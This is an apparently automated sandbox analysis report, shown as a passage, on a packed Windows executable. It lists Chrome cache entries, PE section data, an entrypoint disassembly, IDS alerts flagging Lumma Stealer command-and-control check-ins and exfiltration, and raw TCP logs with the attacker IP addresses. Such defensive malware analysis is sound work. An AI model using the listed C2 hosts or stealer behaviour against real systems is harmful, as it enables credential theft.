263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195740
Entropy (8bit):	5.430025391478659
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli/:Wof3G0NSkNzMeO7z/l3l2
MD5:	D82F4F5987237E395E490E03D4BE6149
SHA1:	5AC34F59A61D63992B9E879641E4BE0B0EC102E2
SHA-256:	27D8C10911B83F10EB6D8CA6AFE8CFD930F2310D3970B50DBADFC5777D1AA6B2
SHA-512:	33E2378B78FFD3E5C9D101CEFAC955D245F693868BB73DAC536D508B85154C0A531C0AE03F838F924F7AB420E3B5C0D9F7FD7A3A62E9E8994E883658D67B169C
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.589368772981034
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	JpzbUfhXi0.exe
File size:	2'895'872 bytes
MD5:	3d433b38ddd7681112b41ac5d55e0e50
SHA1:	b6e2898e0bfe4dd14c1aaf35408436baea062815
SHA256:	39cf6f9ee572a1b88a008fee671033e8f12e9fd3acae3bcc8d396ccef4d8b5be
SHA512:	dd3c8512d745bae07da4075e6871a4136c69a6fb95ca3be5e3c81e13e311f15086cebc3e992043d7bea171066f71adaa3218fed6d7b1221305d613b65310ef5c
SSDEEP:	49152:jlyQnLvsMFBXjtElACNNQbcjLjkzy+YALjSTxbnyhRXHEOmDbLWme98nJv:vLv1zTtEtH39SRUlLWmB
TLSH:	E6D539A2B90576DBD48B13B88527CF426D9F43FA471108C3E869B47EBD63DC412B6D28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................../...........@..........................0/.......,...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8FAC67C2AAh
femms
sub al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F8FAC67E2A5h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
inc esp
nop
inc edi
sldt word ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	752189c8994b4c8033c186eae03cc2fb	False	0.9995787377450981	data	7.980797413931245	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ujmaiaqf	0x55000	0x29a000	0x299200	80f5072fd39d691e3b2fd25303d4823b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ksykldfr	0x2ef000	0x1000	0x600	a3d6ab4a0e79607f446dda69cfea8bfa	False	0.6080729166666666	data	5.149848801827693	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f0000	0x3000	0x2200	45f0b1bc51735fffcafd5fbd1d7b152b	False	0.0705422794117647	DOS executable (COM)	0.802867992797716	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T15:08:52.051932+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:08:52.677186+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:08:52.677186+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:08:54.264184+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:08:55.042264+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:08:55.042264+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:08:56.644483+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T15:08:59.335857+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T15:09:01.805948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.11.101	443	TCP
2024-12-27T15:09:05.100250+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T15:09:05.866911+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T15:09:07.860158+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	104.21.11.101	443	TCP
2024-12-27T15:09:13.024268+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49716	104.21.11.101	443	TCP
2024-12-27T15:09:13.825379+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49716	104.21.11.101	443	TCP
2024-12-27T15:09:15.281326+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49718	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:08:46.526093960 CET	49674	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:08:46.541944981 CET	49675	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:08:46.635304928 CET	49673	443	192.168.2.5	23.1.237.91
Dec 27, 2024 15:08:50.785291910 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:50.785336018 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:08:50.785423994 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:50.786663055 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:50.786672115 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:08:52.051843882 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:08:52.051932096 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:52.056667089 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:52.056679010 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:08:52.056935072 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:08:52.103956938 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:52.111293077 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:52.111332893 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:52.111433029 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:08:52.677196026 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:08:52.677289009 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:08:52.677355051 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:52.679802895 CET	49704	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:08:52.679827929 CET	443	49704	104.21.11.101	192.168.2.5
Dec 27, 2024 15:08:52.679841995 CET	49704	443	192.168.2.5	104.21.11.101
